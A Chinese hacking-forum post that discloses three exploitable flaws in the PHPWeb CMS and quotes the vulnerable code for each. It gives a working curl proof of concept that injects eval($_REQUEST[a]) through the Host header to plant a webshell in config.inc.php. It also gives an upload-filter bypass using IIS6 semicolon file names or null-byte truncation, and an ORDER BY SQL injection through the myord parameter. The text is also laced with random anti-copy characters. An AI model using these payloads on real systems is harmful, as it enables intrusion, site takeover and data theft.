找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2386|回复: 0
打印 上一主题 下一主题

phpweb成品网站最新版(注入、上传、写shell)

[复制链接]
跳转到指定楼层
楼主
发表于 2013-1-4 19:45:35 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
注入:& u0 v; G* ]% ?  J

0 h7 {' k; H9 A* T之所以鸡肋就是该漏洞利用安装文件 重新生成 配置文件 写入可执行代码
! S2 i5 _1 r/ k; S. z3 J: s 8 L8 M: `. J3 V" ^
鸡肋1: 具有破坏性 动作非常大 重新写了配置文件 数据库连接文件
6 F  Q+ K7 o. d- ?6 d- c鸡肋2: 有一定安全常识的站长都会删掉 install 目录& W9 a4 D4 ]2 D  \$ c& O2 |/ I
* J5 L/ F3 ~* W+ j) u0 _
虽然鸡肋 但也有优点 : 不受 magic_quotes_gpc 、 webserver 影响, e" `8 i- m" b- ?4 _

& v7 r3 m* B3 {分析:
. ~# ?  o" j7 r8 c ; z  X" h: S3 U
: b2 Z* B5 k3 n( ^
$siteurl="http://".$_SERVER["HTTP_HOST"]."/";    //未过滤, D  i0 u# z+ C3 G* B: I- A. G

/ @# a8 v( z% E5 v. Q5 O                                            $filestr = fread(fopen($SysConfigFile, 'r'),30000);$ B. n4 X2 K; l5 X
                                            $filestr=str_replace(" ","",$filestr);. x. q2 ^3 K8 [3 K* w
                                            $filestr=str_replace("DefaultDbHost",$dbhost,$filestr);! p/ w- b2 S( p- V1 \  |9 Q
                                            $filestr=str_replace("DefaultDbName",$dbname,$filestr);. R: I' P: c: L! G5 }
                                            $filestr=str_replace("DefaultDbUser",$dbuser,$filestr);$ h0 w0 z! C  S( g& P
                                            $filestr=str_replace("DefaultDbPass",$dbpwd,$filestr);% Z) a) F: q! @9 N
                                            $filestr=str_replace("DefaultsLan","zh_cn",$filestr);
* p! Q5 i' h0 ]7 U                                            $filestr=str_replace("DefaultTablePre",$tablepre,$filestr);
' ~' w. f' ^' h9 F  I- f                                            $filestr=str_replace("DefaultSiteUrl",$siteurl,$filestr);$ [: c1 O: x: X! v, \

' Q4 f' Q% v) b3 E                                            fwrite(fopen($ConFile,"w"),$filestr,30000);
+ P/ ]' v7 M! H, ?$_SERVER["HTTP_HOST"] 就是 http head 中HOST传递过来的 可控制,并且不受 magic_quotes_gpc 影响 ^ _ ^9 q0 M/ c: W! @& c
% ^2 n2 b. d1 {9 D) @
poc:- a/ R) C, L7 [! V: T. r, p

* I5 i& g- S! s: h% w: B' j?/ h$ X1 I7 E0 T+ j
1
4 h7 p# u/ d6 d1 ?8 x2 V( J2 _" fcurl http://fuck.0day5.com/base/install/index.php --data "dbhost=localhost&dbname=phpweb&dbuser=root&dbpwd=root&tablepre=pwn&nextstep=3&command=gonext&alertmsg=&username=" --header "HOST:localhost\";eval($_REQUEST[a]);#"
+ Z5 Q( J4 j# Kshell地址: /config.inc.php
/ Z9 h' G/ N; e+ q$ @4 @跟之前的 phpcms一样 需要远程数据库9 ?: U) z5 p9 N5 L; s& c* b
3 |" k, {1 R7 M; j! E
——————————————————–7 A: O6 n0 j5 Z2 H/ G' _
上传漏洞(需要进后台):
; F1 {: ?7 J5 C3 y; v漏洞文件: /kedit/upload_cgi/upload.php* X4 A& w1 `8 d: Q. @+ |; @
这个很多人都知道,但是很鸡肋 iis6 解析 或 GPC off条件下才可利用( z* e0 J; C5 L8 J- L

  G6 o; x- j, r8 g; Y, T0 O, o! w
) m& P% a/ x8 U* ~5 x<?php
; q, }3 @3 V( c0 W6 V) B4 [4 L6 L    define("ROOTPATH", "../../");  c' T7 @- Q5 b9 u$ n5 H
    include(ROOTPATH."includes/admin.inc.php");, A+ c9 e+ @+ G5 `9 `) J5 N; [
    NeedAuth(0);
: T& G" H7 X1 o4 C! _$ ~1 k. m ! }. U* R4 K9 [% m" \& b0 X
    $dt=date("Ymd",time());
1 S# h, o$ Y- w    if(!is_dir(ROOTPATH.$_POST['attachPath'].$dt)){
+ }2 e5 r# F6 B2 {8 f4 Z; b1 v            @mkdir(ROOTPATH.$_POST['attachPath'].$dt,0777);( i, u. v5 u. |( d3 G8 W! Q- y
    }! w5 j1 @7 d7 [7 C* P# v. [4 q+ e
( V2 A; t5 i# v7 Y+ J
    //文件保存目录路径
' F* c+ n, i+ E1 p+ F    $save_path = ROOTPATH.$_POST['attachPath'].$dt.'/';
( ^' ]! z5 T$ |. X: X    echo $save_path;! q" n6 X- H  H; H1 e
    //文件保存目录URL2 A4 _+ ^. c4 P" p& B
    $save_url = '../../'.$_POST['attachPath'].$dt.'/';
8 b, _0 s7 Y7 C+ P5 X 4 p% x4 `! z& l; {2 x+ J' P5 Z
    //定义允许上传的文件扩展名
& y) \- r; N: O8 h' |" g3 E/ G    $ext_arr = array('gif','jpg','png','bmp'); //限制后缀3 |1 A3 Z) a; d( H4 X

$ t9 e5 i: k0 o1 o    //最大文件大小
$ I- t! h. t8 _3 h# X    $max_size = 1000000;
9 Y% q( j5 y; ~7 }3 Q7 Z
. z" G& A. M. z' a; A7 p. I: l    //更改目录权限
9 f; E2 a0 L- E4 ]8 u    @mkdir($save_path, 0777);
9 h* Q5 t/ f  O1 r5 D, B6 t9 w
) T) B; Y3 Z: l6 L, [5 C    //文件的全部路径; V% \: k2 ]3 N1 v6 g
    $file_path = $save_path.$_POST['fileName'];   //保存文件名
! ~; x9 \. W" B: R8 T1 |5 Q
# Q+ ~9 x& {3 r* k5 w9 {' a5 V, p% w    //文件URL) H/ Z3 P: T% w# x
    $file_url = $save_url.$_POST['fileName'];8 M6 f6 \. p! B( }/ _/ Y
//有上传文件时- s; T" L. t3 V
    if (empty($_FILES) === false) {
6 n/ B$ Q: c+ o" G6 E. ]
% L6 b  ]4 ]2 n            //原文件名& F1 [5 G, C. ], \- |
            $file_name = $_FILES['fileData']['name'];9 C$ o0 }1 y' l' ?+ N+ ]& H/ M
            //服务器上临时文件名+ d+ @0 L* H5 e4 w1 o
            $tmp_name = $_FILES['fileData']['tmp_name'];# c4 \' F% C" n5 y# J1 m9 _$ K6 P
            //文件大小
( w( G- W5 x+ B            $file_size = $_FILES['fileData']['size'];5 `1 D1 _& s- T- E2 b& }; R
            //检查目录/ i# K" {: a/ s( N) ]
            if (@is_dir($save_path) === false) {/ A: C1 Z3 k0 W& c, X
                    alert("上传目录不存在。");$ |) g5 z* c) a
            }$ I; \% F: s& d3 a  D* c1 Z
            //检查目录写权限/ j/ {7 a( G9 Q0 R
            if (@is_writable($save_path) === false) {
# S" D# Q0 r0 Z% M+ H) [                    alert("上传目录没有写权限。");5 E" b# P, Y( `7 i9 y# `  I
            }0 ]9 ?. e& m8 X, i2 D$ c
            //检查是否已上传
" H: T; t  D8 m+ O            if (@is_uploaded_file($tmp_name) === false) {3 U" O! \9 t2 T* D- q
                    alert("临时文件可能不是上传文件。");
& x# n9 M: c! S            }
- }) B7 _& x: q- F7 F            //检查文件大小
! O" X1 x5 d2 z0 F; [2 g            if ($file_size > $max_size) {
* J% g, p, V/ @/ k" m7 V+ V                    alert("上传文件大小超过限制。");" V( A2 M* [) s, @; o! c' O/ |: r( o) {
            }
! V" X( ?7 N8 N$ R* V9 S6 p            //获得文件扩展名
8 N) L" |1 t! |. B/ t            $temp_arr = explode(".", $_POST['fileName']);
& |) L9 Q* [+ s; E8 I2 C! _            $file_ext = array_pop($temp_arr);7 g$ H0 I: N$ n' R
            $file_ext = trim($file_ext);
6 M* s; U  j8 z4 ?% h4 C8 I+ i  M& x            $file_ext = strtolower($file_ext);
+ D% c7 ~* g4 w# J+ f
5 U' L$ R7 `3 x/ j% E/ V1 P            //检查扩展名   
& q5 e4 V  p5 d( i            if (in_array($file_ext, $ext_arr) === false) {     
) }- e' z! w7 h1 T/ d$ X                    alert("上传文件扩展名是不允许的扩展名。");6 p  v) D1 E# Y5 d9 B" b( z# h
            }
( W: I0 m7 Q! y/ t$ J % ^( a2 r4 Z/ ~% J0 K
            //移动文件   1 d' v+ B9 g; E5 W/ i
            //未重命名 虽然过滤了 后缀   iis 6解析漏洞 ^ _ ^8 G6 @+ v% p# C' F
            if (move_uploaded_file($tmp_name, $file_path) === false) {
% I' T- s1 E4 t% L3 K7 o# X+ W                    alert("上传文件失败。");
) \6 A% b2 I  |, a/ |- C            }
  \& Q, }, E0 a7 \+ i. H ( y& \# t; ]/ M  t
            @chmod($file_path,0666);
$ V$ l+ Z- W1 T( ~) H ; a" e/ z& \* ?0 E3 D; E
    ?>
6 _/ a9 a. i& E* W! d抓包改包 filename 改为 xx.php;111.jpg 即可突破或者使用http://www.0day5.com/?p=2276 r# q# a6 L7 M$ `
# S2 H  M! _8 T; ?4 L# |) E/ F8 G' q
apache 版本magic_quotes_gpc = off情况下可以考虑 \00 截断 绕过( ^% J1 J6 ~  e) o% O7 r$ G
4 k; U8 g1 \) U- |
——————————————————
% Z0 z! b2 L2 a. h1 p) m3 F$ U注入漏洞:+ {# w7 l9 Y% e
漏洞文件:search/module/search.php
4 k/ S3 N3 C! H. `/search/index.php?key=1&myord=1 [sqlinjection]
6 u$ B4 U& G3 ]8 y9 s7 G8 |6 ~ ! ?8 q- X) k6 M) p4 W
7 R( W4 T5 a) ]% n2 j
<?php2 L2 ?& s( b5 Y; F4 s
   //       ... 省略 n 行...
, N: m2 L) ^0 e) L( ?' x  n   //第18行:3 s- N3 b. m- g  P) `3 |
           $key=htmlspecialchars($_GET["key"]);   //只是简单的将字符HTML 实体 编码   , mysql 注入不受此影响0 G% v; u' M: [4 J; x- [2 T
           $page=htmlspecialchars($_GET["page"]);
) @  F& h6 ?' B" e# f           $myord=htmlspecialchars($_GET["myord"]);
: E$ J# E5 n, n; B7 I. u+ V- ^
( G8 N- u4 [" O) R6 o4 W+ g0 X   //       ... 省略 n 行..., j5 T# w; X! ~4 u% a$ A% j
   $key,$myord 两个参数带入查询8 @& _3 ]8 h  X- y  ^- `
   //第47行 $key:# A9 d, q1 s6 H* F0 u0 c; r
) `. B  x# P9 L, ^; t0 b8 y0 [
   $fsql->query("select count(id) from {P}_news_con where iffb='1' and catid!='0' and (title regexp '$key' or body regexp '$key')");  //虽然带入查询 但使用的 是regexp 不知如何绕过..: b' Q1 j( l; Z4 k) z' [

3 p- B8 J9 \  G7 Q   //第197行 $myord
; V0 C/ H6 L& |) n   $fsql->query($scl . " order by $myord desc limit $pagelimit ");    产生注入
& l' o  _  I9 J: C8 y 5 f  K6 l/ m* \  h
   ?>4 U; h, X! w0 u5 k
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表